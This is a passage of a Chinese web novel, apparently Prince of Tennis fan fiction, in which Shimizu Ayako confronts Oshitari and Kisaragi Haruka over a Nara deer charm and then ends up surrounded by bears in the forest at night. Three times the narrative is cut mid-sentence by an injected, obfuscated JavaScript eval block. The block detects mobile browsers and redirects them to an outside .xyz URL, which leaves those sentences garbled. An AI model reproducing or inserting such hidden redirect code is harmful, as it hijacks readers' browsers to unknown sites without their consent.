听到“清水绫子”四个字,浑身一僵,如同被一道无形的电流击中。 几乎是条件反射般,他猛地转头,目光急切地、带着一丝不易察觉的恐慌,投向场边休息区。 如月遥正坐在藤椅上,手里拿着手机,屏幕的光映亮了她沉静的侧脸。 她似乎这突如其来的寂静毫无所觉,依旧低垂着眼帘,指尖在屏幕上轻轻滑动,姿态专注而疏离,仿佛周遭的一切都与她无关。 迹部锐利如刀的目光也瞬间扫向忍足,眼里充满了询问。 忍足对迹部摇头表示自己毫不知情。 一道娇小玲珑、穿着精致连衣裙的身影,带着一阵香风,如同欢快的小鸟般,一路小跑着冲进了网球场。 “侑士君!”清水绫子脸上带着娇羞又欣喜的红晕,声音清脆悦耳,目光直接锁定了场中的忍足。 “你真的在这里呀!我听伯父说你在轻井沢,正好我也在附近度假呢!” 她小跑到忍足面前,微微仰着脸,带着点嗔怪又甜蜜的语气,“既然都这么近,干嘛还托人给我送礼物呀?当面给我不就好了嘛~” “托人送礼物?”向日惊讶地瞪大了眼睛,刚想开口问什么,旁边的泷眼疾手快,一把捂住了他的嘴,用眼神示意他闭嘴。 忍足只觉得一股寒气从脚底板直冲天灵盖,强压下心头的惊涛骇浪,尽量让自己的声音听起来平稳:“清水……什么礼物?” “就是这个呀!”清水绫子完全没察觉到现场诡异的气氛和忍足僵硬的表情,开心地从随身的小包里拿出一个东西,献宝似的举到忍足面前。 那是一个毛茸茸的憨态可掬的奈良小鹿挂件。 棕色的绒毛,湿漉漉的大眼睛,脖子上还系着一个小小的铃铛。 忍足侑士的瞳孔骤然收缩。 这个小鹿挂件他太熟悉了! 这分明是那天在奈良他买的,他偷偷买了两只。 一只给了如月遥,另一只小心翼翼地收了起来,私心里想着要凑成一对。 怎么会在清水绫子手里?! 他立刻意识到发生了什么,一定是父亲! 父亲看到了他收起来的那只小鹿,误会了他的意思,以为他是要送给清水绫子的,然后自作主张地替他“送”了出去。 “这……”忍足只觉得喉咙发紧,立刻解释,“清水,这有点误会……” 然而,清水绫子完全沉浸在自己的喜悦里,根本没听出忍足话里的不对劲。 她依旧笑靥如花,带着憧憬和羞涩,声音不大,却清晰地传遍了寂静的球场:“收到礼物我很高兴呢,侑士君!” 她微微低下头,脸颊更红了,“你有这份心意我就安心了。” 抬起头,看着忍足的眼神里充满了对未来的期待,说出了那句如同惊雷般的话语: “安心准备我们的联姻了。” 联姻。 这两个字如同两颗炸弹,在寂静的网球场轰然炸开。 忍足侑士的大脑一片空白。 父亲! 果然是父亲! 他不仅擅自送出了礼物,还向清水家传递了错误的信号。 他只觉得一股愤怒和无力感瞬间席卷全身。 如月遥已经抬起了脸。 眼神此刻正平静地落在了清水绫子手中那个摇晃着的奈良小鹿挂件上。 她的脸上没有任何表情。 没有愤怒,没有惊讶,没有委屈,只有一片深不见底的、如同极地冰原般的平静。 平静的目光却比任何激烈的情绪都更让忍足感到刺骨窒息,他僵立在原地,如同被钉在了耻辱柱上。 一边是满脸娇羞憧憬的清水绫子,一边是神色平静置身事外的如月遥。 迹部景吾的眼眸里寒光闪烁,扫过忍足,又扫过清水绫子,最后落在如月遥那平静无波的脸上,眉头深深蹙起。 网球场上的空气,仿佛凝固成了坚冰。 清水绫子那句“联姻”如同投入湖面的巨石,激起的不是涟漪,而是滔天巨浪。 忍足只觉得必须立刻澄清一切,顾不上什么绅士风度了,现在每一秒的拖延,都可能造成无法挽回的误解。 猛地向前一步,目光直视着面前还沉浸在喜悦中的清水绫子,声音清晰斩钉截铁,“抱歉,清水小姐。” 他刻意加重了“小姐”二字,划清界限,“这里面有误会。” 他语速极快,如同最锋利的手术刀精准地切割开所有暧昧:“这个礼物不是我送给你的。” “我本人。”他刻意停顿了一下,确保每个字都砸进对方耳中,“也从来没有过和你联姻的打算。” 清水脸上的娇羞和红晕瞬间褪去,化为一片惨白。 她难以置信地瞪大了眼睛,声音带着颤抖,“伯父……伯父明明说你很喜欢我……他亲口说的……” “是我父亲搞错了。”忍足毫不犹豫地打断她,语气坚决,不留任何余地,“他误会了我的意思,我喜欢的……” 他深吸一口气,近乎宣告的坚定,“另有其人。” “另有其人?!”这四个字如同淬毒的冰锥,狠狠刺穿了清水绫子最后的幻想。 她浑身剧烈地颤抖起来,泪水如同断了线的珠子,瞬间滚落脸颊。 “从高中开始……”她的声音带着破碎的哭腔,充满了绝望和不甘,“我就喜欢你了!整整五年!” “为了能配得上你,能站到你身边,我拼了命地努力!学习、礼仪、才艺我什么都学!为什么……” 她猛地抬起头,泪眼婆娑地死死盯着忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526635|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足,声音陡然拔高,控诉着命运的不公和忍足的无情。 “你现在连一个机会都不肯给我?” 忍足心急如焚。 清水的哭诉和纠缠如同无形的枷锁,他现在只想立刻冲到如月遥身边,向她解释清楚这一切该死的误会。 他试图挣脱清水死死抓着他手臂的手指:“清水!你冷静点!放手!” 然而,陷入绝望的清水绫子如同溺水者抓住了最后的稻草,不仅没有松手反而抓得更紧了,指甲几乎都要掐进忍足的手臂里。 忍足看到她泪水涟涟的样子,心里有些无奈,但更多的是担心和焦灼,他不可控制地看向了如月遥,她会怎么想? 清水顺着忍足的视线,猛地看了过去。 目光如同毒蛇的信子,瞬间锁定了场边藤椅上的如月遥。 更让她瞳孔骤缩、妒火中烧的是,如月遥安静地坐在那里,身姿挺拔,表情平静得近乎漠然。 而在她随意放在藤椅旁的手袋上赫然挂着一个和清水绫子手中一模一样的毛茸茸的奈良小鹿挂件。 “是她?!”一个尖锐刺耳、充满了震惊、愤怒的声音从清水口中爆发出来。 如同被激怒的母狮,清水转身几步就冲到了如月遥面前。 她伸手指着如月遥那张完美无瑕、却平静得让她嫉恨的脸,声音因为极致的愤怒而扭曲变调:“是不是她?!侑士君!你是不是喜欢她?!” 她的质问如同淬毒的匕首,直刺忍足。 忍足心头狂跳,立刻追上去阻拦:“清水!你胡说什么?这跟如月小姐没关系!我喜欢谁,没必要告诉你!” 他只想尽快结束这场闹剧,不想将如月遥卷入这难堪的漩涡。 然而,女人的直觉在嫉妒的催化下精准得可怕,清水看着忍足那急于维护的姿态,看着他眼中那毫不掩饰的焦灼,更加坚定了自己的想法。 “哈!没关系?!”清水发出凄厉的冷笑,猛地转过头,将所有的怒火和屈辱都倾泻到了如月遥身上。 她的手指几乎要戳到如月遥的鼻尖,声音尖锐刺耳,充满了恶毒的指控:“你这个不要脸的女人!你凭什么勾引他?!” “你知不知道忍足家和清水家早有联姻的默契?!人人都知道!” “你算什么东西?!插足别人的婚约,你就是个不齿的第三者!下贱!” “清水!住口!”忍足厉声喝止。 他伸手想要拉开清水,却迟了一步。 就在那恶毒的“第三者”脱口而出的瞬间,一股冰冷刺骨、如同西伯利亚寒流般的凶煞之气,毫无征兆地席卷了整个网球场。 一直沉默坐在藤椅上的如月遥,缓缓抬起了头。 她的动作很慢,却带着一种令人心悸的压迫感。 目光锐利如刀,似乎翻涌起令人灵魂都为之冻结的寒意,精准地落在了清水那根几乎要戳到她脸上的手指上。 她没有起身,只是微微启唇。 声音不高,却如同冰锥凿击坚冰,清晰地穿透了清水的哭喊和场上的死寂。 “上一个敢用手指着我说话的人,” 她的声音冰冷,没有一丝波澜,却蕴含着令人胆寒的力量。 如同在看一件死物,目光缓缓扫过清水绫子那根颤抖的手指,“还在医院接骨。” 34. 第 34 章 话语如同无形的重锤,狠狠砸在心口。 那股毫不掩饰的源自绝对力量的凶煞之意,如同铺天盖地的寒流,瞬间让清水如坠冰窟。 手指如同被毒蛇咬了一口,猛地缩了回去,无法抑制的恐惧感瞬间攫住了她,让她浑身剧烈地颤抖起来,连哭声都卡在了喉咙里。 忍足的心提到了嗓子眼,他知道如月遥不是在开玩笑,她绝对有能力做到。 他立刻上前一步,拉住清水的胳膊将她往后拽,同时急切地对如月遥解释:“如月小姐!对不起!她乱说的!你别……” “够了!”迹部景吾威严的声音如同惊雷般炸响,带着帝王不容置疑的压迫感,锐利地射向已经吓傻的清水。 “清水绫子,注意你的言辞,立刻冷静下来。”迹部的声音如同冰刃,“不要在这里失了世家小姐应有的教养和体面!” 被迹部冰冷的呵斥和如月遥那毫不掩饰的杀意双重震慑,清水只觉得巨大的屈辱和恐惧翻涌起来。 她看着眼前这个如同冰山修罗般的如月遥,再看看旁边对她只有厌恶和焦急的忍足,最后是迹部那毫不留情的斥责…… 所有的委屈、不甘、愤怒和恐惧瞬间爆发! “世家小姐的教养?!” 她指着如月遥,带着一种破罐子破摔的疯狂,“这种暴力又凶残的女人才该好好学学什么叫教养!她就是个怪物!她……” “清水绫子!”忍足厉声打断,脸色铁青,迹部的眉头也深深蹙起。 “住口!”一个清脆却带着怒意的声音猛地响起。 一直坐在如月遥身边的水谷雅子猛地站了起来,她虽然不清楚忍足和清水家到底什么关系,但清水绫子从出现开始就咄咄逼人,现在更是对如月进行如此恶毒的人身攻击,这让她无法再保持沉默。 “你太过分了!”水谷雅子挡在如月遥身前,虽然身材娇小,但此刻却带着一种保护者的气势,她怒视着清水绫子,“你对如月同学说的这些话,简直毫无道理!恶毒至极!你确实应该好好反省一下自己的教养!” 清水根本不看水谷,她只是死死捏着那只无辜的小鹿挂件,指尖几乎要掐进绒毛里。 目光死死钉在如月遥手袋上那只小鹿上。 “他送的?”清水的声音破碎而尖锐,带着最后的挣扎和不甘,每一个字都像是从牙缝里挤出来的,“你这个是他送的?是不是?!” 如月遥没说话,但那无声的姿态比任何言语都更清晰地传达着拒绝,她没有任何义务向清水绫子交代任何事。 清水的呼吸陡然急促起来,像是濒死的鱼,她猛地提高了音量,带着歇斯底里的指控:“和侑士君一起去奈良的人是不是你!” 这一次,如月遥吐出一个再简单不过的音节:“是。” 如同最后的审判槌,砸碎了清水绫子最后一块名为“侥幸”的遮羞布。 清水脸上的血色瞬间褪得一干二净,精心描绘的妆容被泪水冲刷出一道道狼狈的痕迹,眼神彻底涣散破裂。 她像是被抽走了所有的力气,身体晃了晃,全靠一股不甘支撑着才没有倒下。 “为什么!”她声音嘶哑,如同困兽绝望的哀鸣,“你为什么要出现!为什么要跟我抢!!” “抢?”如月遥像是听到了什么极其荒谬的笑话,脸上清晰地浮现出带着厌烦的讥诮。 她直接打断了清水毫无逻辑的哭诉:“你喜欢他关我什么事?” 她的声音清晰地穿透球场,带着一种置身事外的冷酷剖析。 这轻飘飘的一句反问,如同一把烧红的烙铁,狠狠烫在清水绫子的自尊心上。 “不关你事?!”清水被这极致的冷漠彻底激怒了。 压抑的情绪如同火山般爆发出来,声音因为激动和怨恨而尖锐刺耳:“如果不是你突然出现!如果不是你勾引他!侑士君他一定会看到我的!看到我这五年来的努力!” “看到我为了能配得上他付出的一切!他一定会被感动的!他一定会喜欢上我的!” 清水沉浸在自己编织的剧本里,仿佛是被横刀夺爱的苦情主角。 如月遥静静地看着她歇斯底里地表演,看着她脸蛋写满了委屈不甘,以及这种近乎病态的自我感动。 终于,如月遥的唇角极其轻微地向上勾了一下,那笑容里没有任何温度,只有赤裸裸的嘲讽: “呵。” 一声轻嗤,如同冰棱碎裂。 “清水小姐,”她的声音不高,却清晰地盖过了清水的哭嚎,“我真诚建议你去医院查查脑子。” 全场再次被这石破天惊的毒舌震惊得鸦雀无声。 清水绫子如同被瞬间掐住了脖子,哭声和控诉戛然而止,只剩下粗重的喘息和惊愕。 如月遥却丝毫没有停顿,声音平稳而清晰,每一个字都像冰锥,狠狠凿进清水绫子那层自我感动的幻想泡沫里:“五年了。” 她竖起五根纤细白皙的手指,在清水面前晃了晃。 “整整五年,他都没有接受你。” 她的目光带着洞穿一切的清明: “这说明了什么?” 如月遥不给清水任何喘息和辩驳的机会,直接给出了最残酷也最真实的答案:“说明他根本就不喜欢你。” “你在他眼里,和马路上的甲乙丙丁没有任何区别。” 语气残忍,吐字清晰地强调:“跟有没有我出现,有没有我‘勾引’,没有半点关系。” 最后,她用一句总结陈词,彻底碾碎了清水五年构筑的幻梦堡垒: “他只是单纯地无视你而已。” 直白。锋利。精准。致命。 清水绫子的脸色瞬间惨白如纸,身体不受控制地剧烈摇晃了一下,仿佛被无形的重锤狠狠击中。 五年来的所有付出、所有矜持、所有小心翼翼的靠近、所有深夜里的幻想,在如月遥轻描淡写却又字字诛心的剖析下,轰然倒塌,碎成了一地无用的粉末! 她甚至找不到任何词汇来反驳。 因为对方说的是赤裸裸、无法辩驳的事实。 如月遥看着清水那副摇摇欲坠、信仰崩塌的模样,最后抛下了一句如同冰水灌顶的终极审判:“任何需要靠自我牺牲、自我感动来换取的爱……” “都不过是对方愧疚的同情和施舍罢了。” 微微抬眸,目光如同俯视尘埃,近乎悲悯的疑问:“你汲汲营营五年……” “想要的就只是这个?” 说罢,如月遥再懒得看她一眼,仿佛多停留一秒都是对自己的污染。 利落转身,拿起手袋,那只棕色的憨态可掬的小鹿挂件随着她的动作在空中晃荡了一下。 她步履平稳,没有丝毫留恋,将身后那片狼藉的修罗场和那个彻底崩溃的灵魂,远远抛开。 清水绫子呆呆地站在原地,如同被抽走了灵魂的木偶。 她低头看着自己手中那只被攥得变形的小鹿挂件,又猛地抬头看向如月遥手袋上那只同样的小鹿。 一个被她父亲“误送”的替代品,一个被他亲手挑选、赠予心中所爱的珍视信物。 这讽刺的对比,如同最响亮的耳光,狠狠抽在她脸上。 球场寂静无声,只有树叶被风吹动的沙沙轻响,以及清水绫子粗重的喘息。 如月遥那句句如同淬毒冰棱的话语,还在空旷的球场上空回荡,震得她耳膜嗡嗡作响。 单纯地无视而已 只是愧疚的同情和施舍 你想要的就只是这个? 每一个字都在凌迟着她最后的尊严。 清水不甘心的嘶喊像钝刀划破凝固的空气,质问带着泣血的控诉:“被侑士君这样优秀的人喜欢,你心里肯定高兴得要疯了吧?” “表面上还要装出这副云淡风轻的样子,真是虚伪!你就是在玩弄他的感情!” 她的声音因为激动而破音,孤注一掷般试图撕开对方的伪装。 等到清水的指控说完,如月遥缓缓开口,声音不高,却清晰地穿透了距离。 “首先,我本身就是个优秀的人。”她的目光落在清水脸上,带着穿透表象的锐利。 她陈述得理所当然,如同在陈述一个基本物理定律,“谁喜欢我都是应该的。” 这句话如同冰水,瞬间浇熄了清水试图点燃的嫉火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526636|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 不是傲慢,而是骨子里刻入的、无需证明的认知。 “其次,忍足侑士从来没有对我说过‘喜欢’。” 如月遥的视线扫过不远处僵立着的忍足侑士,最终落回清水身上,目光带着一丝极淡的嘲弄,“你所有的‘猜测’,都只是你一个人的独角戏。” 清水的脸色又白了一分,嘴唇哆嗦着想要反驳。 “最后,就算他真的有那份心思。” 如月遥的声音陡然转冷,不容侵犯的界限感如同冰锥钉在清水身上。 “那也是我和他之间的事。” 她微微扬起下巴,气场瞬间铺开: “我没有任何必要向你解释分毫。” 球场上的众人屏息凝神。 迹部眼眸里闪过一丝激赏,忍足的心跳在如月念出他名字时漏跳了一拍,随即又被她划清界限的冰冷刺得生疼。 如月遥看着清水那张被泪水冲刷、写满不甘和痛苦的脸,眼眸深处掠过一丝极淡的、近乎怜悯的微光。 她向前走了几步,停在距离清水不远不近的地方在,声音放得低沉了些,像是冰层下涌动的暖流。 “清水小姐,” 她的声音清晰地传遍寂静的球场,“爱人之前先学会爱你自己。” 目光带着一种洞彻世事的清醒,这句话如同暮鼓晨钟,敲在清水的心上,也敲在每一个旁观者的耳中。 “如果你的人生,只是为了追逐某个人而存在……” 如月遥的目光扫过清水紧握的拳头,那里面还攥着那个变形的、象征着她五年执念的小鹿挂件。 “心甘情愿把自己困在一个自己编织的虚幻牢笼里……” “那么,你永远也得不到平等的爱。” 说罢,在所有人惊愕的注视下,如月遥做出了一个让所有人意想不到的动作。 她举起了自己手中的那个手袋。 那个棕色的憨态可掬的小鹿挂件,在灯光下轻轻晃悠着,将手袋微微向前递了递,目光平静地看向清水,询问: “现在我可以把我这个挂件送给你。” 她的目光锐利如刀,直刺清水的灵魂深处:“清水小姐,你确定……” “你还要吗?” 你还要吗? 你要的,究竟是那个被你幻想出来的、承载着五年执念的“忍足侑士的爱”的象征物? 还是这个被另一个女人坦然展示在光下、代表着清醒与界限的、同样的小鹿? 这个选择,残忍地剥开了清水所有自欺欺人的伪装,将她最不堪的内心暴露在光天化日之下。 清水绫子如同被无形的巨锤击中,浑身剧震。 低头看向自己手中那只被攥得变形、绒毛凌乱、沾着泪水的小鹿,又抬头看向如月遥手中那只在灯光下泛着柔和光泽、铃铛轻响的完整小鹿。 强烈的对比,巨大的讽刺。 她张着嘴,喉咙里发出“嗬嗬”的、如同破风箱般的声音,却一个字也说不出来。 羞耻和狼狈将她淹没,她只觉得全身的血液都涌上了头顶,又瞬间褪得一干二净,只剩下冰冷的绝望和无地自容。 她还要吗? 她还要这个如同她扭曲执念般的替代品吗? 如中月遥看着她失魂落魄、如同被抽走灵魂般的模样,没有再等待她的回答。 她缓缓放下举着手袋的手臂,那只小鹿挂件重新垂落回她身侧。 微微颔首,算是告别。 接着转身,步履平稳地走进了别墅。依旧挺拔,依旧干净,带着一种事了拂衣去的从容。 网球场上的灯光依旧明亮,却再也照不亮清水绫子灰败的脸。 那只被她攥得变形的小鹿,终于从她无力的指尖滑落,“啪嗒”一声,再次掉落在冰冷的地面上,滚入尘埃,无人问津。 忍足侑士的目光死死追随着如月遥消失的回廊入口,胸口翻涌着难以言喻的情绪。 震撼于她洞穿人心的清醒与锋利,心疼于她独自承担这份风暴的孤绝,更被她那句“爱人先爱己”的箴言深深触动。 没有丝毫犹豫,猛地迈开脚步,朝着如月遥消失的方向,大步追了上去。 35. 第 35 章 别墅内的楼梯转角,光线被高大的落地窗切割成明暗交织的方块。 忍足侑士几乎是跑着追了上来,终于在如月遥踏上最后一级台阶前,伸手拉住了她的手臂。 “如月小姐!”他的声音带着明显的喘息,胸膛微微起伏。掌心隔着薄薄的布料,能清晰感受到她手臂纤细而微凉的触感。 他握得不紧,却带着一种不容挣脱的急切。 如月遥的脚步停了下来,站在楼梯上,微微侧身,居高临下地看着他。 眼眸垂落,光线在她长长的睫毛下投下一小片阴影,让人看不清其中的情绪。静静地看着他因为奔跑和急切而微微泛红的脸。 忍足被她这样看着,只觉得喉咙更加发干。 千言万语堵在胸口,最终却只化作一句带着深深歉疚:“抱歉……给你带来麻烦了。” 每一个字都像是从喉咙里艰难地挤出来的,沉重无比。 如月遥的目光从他脸上移开,望向楼梯下方空荡荡的回廊,声音如同山涧流淌的冰泉:“如果不喜欢别人,就该早点拒绝。” 她语气平淡,却带着一种直指核心的锋利,视线重新落回忍足脸上,“也别指望靠所谓的‘顾及颜面’,就能逃避责任。” “如此浪费别人五年光阴。” 这句话如同一根针,精准地刺破了忍足最后一点自我开脱的侥幸。 他猛地一震,下意识地松开了握着她的手,脸上浮现出清晰的懊悔:“我拒绝过。” 他承认道,声音苦涩,“但……确实不够明确。” 抬起头迎上如月遥的目光,忍足的眼神里充满了自我剖析的坦诚:“是我自己没有处理好和清水的关系。” “模棱两可,心存侥幸,以为时间久了她会自己放弃。” “甚至还让父亲产生了严重的误会。” 他闭了闭眼,再睁开时,眼底是清晰的痛定思痛:“这才引来了今天的局面。所有的混乱和难堪根源都在于我。” 如月遥听着他的忏悔,等他话音落下,才开口告诫:“吃一堑,长一智。” 目光扫过忍足略显狼狈的样子,冰冷的讽刺:“以后别指望我还能有好脾气帮你‘擦屁股’。” 她特意用了这个粗俗却无比形象的词,似乎是为了强调自己的忍耐限度。 忍足的心猛地一缩,他听懂了她话里隐藏的“纵容”,虽然只有这一次,虽然带着警告,但她确实看在某种情分上,没有让事态发展到不可收拾的地步。 “也就是看在你最近当‘地陪’还算尽心的份上。” 如月的话印证了他的猜想,她省略了后面那句“没把清水打一顿”,但忍足完全明白她的意思。 这份情面,让忍足心头熨帖,却又不可避免地被失落击中。 她划得如此清楚,不是因为他这个人,不是因为他那份浓烈到无法掩饰的感情,仅仅是因为他完成了作为“地陪”的职责。 他的目光不由自主地落在了她手袋上轻轻晃动的小鹿挂件上。 这只小鹿,以及她在球场上那些看似冰冷无情、实则字字珠玑、饱含着清醒提点和悲悯的言语。 忍足抬起头,看着楼梯上那个沐浴在光影切割中的身影,他由衷地感叹出声,“如月小姐你真的是……” “很优秀的人。” 如月遥微微挑了一下眉梢,没有任何谦虚的意思,坦然地点了点头,语气理所当然: “当然。” “我回房间了。” 她言简意赅地宣布,转身就要继续上楼。 忍足看着她的背影,心中那股失落和不甘再次翻涌,几乎是脱口而出,带着一种近乎卑微的试探:“如月小姐!” 看着她再次停下的脚步,他的声音小心翼翼,“你有没有生气?” 喉结滚动,笨拙地补充道:“如果不开心可以打我发泄一下。” 他指了指自己,语气带着点自嘲的诚恳,“毕竟今天这场城门失火,殃及你这池鱼了。” 如月遥背对着他,站在楼梯高处,光影将她的身影拉得很长。 她没有回头,也没有说话,只是微微侧了侧头,用眼角的余光瞥了他一眼。 那一眼,很淡,很快。 然后没有任何停留,抬步稳稳地踏上了最后一级台阶,身影消失在楼梯拐角,脚步声在安静的别墅里渐渐远去,最终归于沉寂。 忍足侑士独自站在楼梯下方的光影交界处,仰头望着她消失的方向。 手里似乎还残留着她手臂微凉的触感,耳边回荡着她清泠的声音,和她最后那无言的一瞥。 他站在原地,久久没有动。 如同一座被遗忘在光影角落的雕像。 别墅的灯光亮起,驱散了网球场那片被风暴席卷过的清冷。 众人三三两两地回来,脚步声压得很低,交头接耳的议论如同湖面下的暗流。 “呼……刚才真是……”向日夸张地拍着胸口,心有余悸地压低声音,“我还以为如月会直接动手呢!吓得我连呼吸都忘了!” “日吉,你刚才站那么近,有把握拦住吗?”他用手肘捅了捅旁边脸色依旧有些紧绷的日吉若。 日吉若酷酷的脸上没什么表情,但眼神深处也残留着一丝凝重:“……难说。” 泷的语气带着后怕:“修罗场……名副其实的修罗场。大气都不敢喘。” 他回想起清水绫子最后那歇斯底里的模样和如月遥字字诛心的冰冷剖析,只觉得后背发凉。 千叶挽着泷的手臂,秀气的眉头微蹙,语气带着点不满,“忍足君明明心里装着如月同学,怎么还让清水小姐那边……” 她没说完,但意思很明显。没处理好旧关系,才引来了这场混乱和伤害。 水谷雅子则是一脸担忧,目光频频望向二楼的方向:“清水小姐说话太难听了,如月同学虽然看起来很厉害,但被那样指着鼻子骂……” 她犹豫着,“我想上去看看她,安慰一下?” 就在这时,迹部景吾那华丽的身影出现在楼梯口附近。 “啊嗯?”迹部华丽的声音带着不容置疑的命令感,瞬间压下了所有低语,“都散了,回各自房间休息去。” 众人立刻噤声,互相交换了几个眼神,便迅速作鸟兽散,各自溜回房间,留下空旷的客厅和依旧凝滞的气氛。 迹部踱步到忍足身边,顺着他的目光也看了一眼空荡荡的二楼走廊,然后收回视线,落在忍足那张写满复杂情绪的脸上。 “喂,”迹部的声音压低了些,“刚才抓紧机会了?” 眼眸锐利地盯着忍足:“告诉她了吗,‘你喜欢的那个人’,就是她。” 忍足像是被从深水中拖出来,猛地吸了口气,脸上露出一个苦涩无比的笑容,嘴角的弧度像是勉强用胶水粘上去的。 “机会?”他自嘲地扯了扯嘴角,声音沙哑,“在球场上都那么丢脸了……” 他回想起如月遥那清冷的目光,那划清界限的冰冷话语,那最后无言的一瞥,只觉得无力感攫住了他。 “哪还有胆子敢去和大小姐开这个口?” 迹部看着他这副失魂落魄的样子,罕见地没有嘲讽。 他微微颔首,目光仿佛穿透了墙壁,落在那位刚刚离去、搅动了一场风暴却片叶不沾身的如月身上。 “啊嗯……”迹部的唇角勾起一抹极其细微的、带着欣赏的弧度,“你的眼光确实不错。” 拍了拍忍足的肩膀,力道不轻不重,“那就继续加油吧。” 别墅彻底安静下来。 窗外的月光清冷地洒入,在地板上投下长长的、寂寥的影子。 忍足闭上眼睛,脑海里反复回放着如月遥最后那清冷的侧影,她手袋上那只轻轻晃动的小鹿,还有她那些冰冷又滚烫的话语。 就在这份令人窒息的寂静几乎要凝固成永恒时。 “啊——!!!!!” 一声凄厉到变形的、充满了极致惊恐的尖叫声,如同烧红的铁钎猛地刺穿了别墅的宁静。 死寂被撕裂的尖叫声余音仿佛还在别墅内回荡,众人惊魂未定地冲出房间,脸上带着睡意未消的茫然和突如其来的惊惧。 向日岳人一只脚穿着拖鞋,另一只脚光着踩在地板上;凤长太郎头发湿漉漉地滴着水,显然刚洗到一半; ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526637|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千叶裹着睡袍,脸色发白。 “怎么回事?!”迹部景吾的声音带着主人的威严,眼眸锐利地扫过混乱的众人。 管家脸色凝重,急匆匆地从门口走进来,对着迹部深深一躬:“少爷!是清水小姐!” “清水?”忍足侑士心头一沉,不好的预感如同冰冷的藤蔓缠绕上来。 “是的!清水小姐刚才在花园里待了一会儿,情绪似乎非常低落。” 管家语速很快,“大约五分钟前,她执意要离开,并且不肯乘坐家里安排的车子,说是想要一个人沿着山路走下山去散散心。” “徒步下山?”迹部的眉头瞬间拧紧。 他的别墅坐落在轻井沢的山间,位置幽静但也意味着偏僻,徒步下山至少需要半小时。 “现在是什么时候?”他厉声质问,声音带着惊怒。 所有人都意识到了问题的严重性。 轻井沢生态环境极好,尤其是入夜之后,山林间常有日本黑熊出没。在别墅区和热闹地带自然有防护措施,他们平时入夜后也绝不会离开别墅范围。 但清水绫子她竟然独自一人,情绪崩溃地走进了夜晚的山林。 “派人去找了没有?!”迹部的声音带着前所未有的紧迫。 “已经立刻派人沿着下山的路去追了!”管家连忙回答。 话音未落! “少爷!不好了!”一个年轻的侍从跌跌撞撞地冲进客厅,脸上毫无血色,声音因为极度的恐惧而变调:“是……是熊!日本黑熊!就在山路上!我们看到清水小姐了!她被两只熊围住了!” 轰——!!! 如同冷水泼进了滚油锅! “两只?!” “被围住了?!” “天啊!” 客厅里瞬间炸开了锅,惊呼声、抽气声此起彼伏,所有人的脸色都变得惨白如纸。 黑熊! 还是两只! 被围困!这几乎等同于宣判了死刑! 迹部景吾瞬间沉如寒潭,他猛地转身,对着管家厉声下令:“立刻通知所有安保人员!带上武器!强光手电!驱熊喷雾!所有能用上的!马上去救人!快!” “是!少爷!”管家不敢有丝毫耽搁,转身就往外跑。 “少爷!”又一个侍从几乎是连滚带爬地冲进来,声音带着哭腔:“不止两只!我们看到好像还有一只在暗处!” “清水小姐她吓晕过去了!就在路中间!熊就在她旁边徘徊!” 吓晕了?! 在路中间?! 被三只熊围着?! 这简直是最糟糕的情况! 一个失去意识的人,在黑熊面前如同待宰的羔羊! 绝望的气息瞬间弥漫了整个客厅。 水谷雅子和佐藤明美已经捂住了嘴,眼中充满了惊恐的泪水。向日岳人等人脸色铁青,拳头紧握。 迹部的脸色也阴沉得可怕,他知道,就算安保人员动作再快,等他们带着武器赶到现场……恐怕也来不及了! 就在这时—— 一道黑色的身影如同闪电般从楼梯口的方向冲出,如同敏捷的豹子一样,她单手撑在楼梯上,猛地一跳,竟然直接从二楼跳到了一楼! 落地无声,像鬼魅轻盈。 是如月遥。 她没有看任何人,目光如同鹰隼般扫过客厅,瞬间锁定在刚才冲进来报信的侍从身上。 “位置。” 她的声音冰冷、清晰、斩钉截铁,瞬间压下了客厅里所有的嘈杂和恐慌。 那侍从被她慑人的目光和气势一激,下意识地脱口而出:“就……就在别墅后面那条主路往下,第一个大弯道过去大概三百米的林间空地旁。” “有光源吗?”如月遥的语速飞快。 “有……有!清水小姐掉了个小手电在地上,但光很弱!” “驱熊喷雾呢?安保最快多久能到?” “在、在仓库!管家去拿了!最快……最快也要七八分钟!” “不等了。” 如月落下这一句,竟然如同离弦的箭一样,瞬间冲了出去。 36. 第 36 章 山林死寂,唯有溪流潺潺与黑熊粗重的喘息。 三头庞然大物在微弱的手电光晕下如同移动的山峦,腥膻刺鼻的气息弥漫开来,令人窒息。 昏迷的清水绫子如同破败的玩偶,躺在冰冷潮湿的泥地上,就在那三对闪烁着幽绿凶光的兽瞳中央。 赶到的保镖们手持强光手电和驱熊喷雾,却被那三头野兽散发的原始凶威震慑得步步后退,冷汗浸透衣衫,无人敢上前一步。 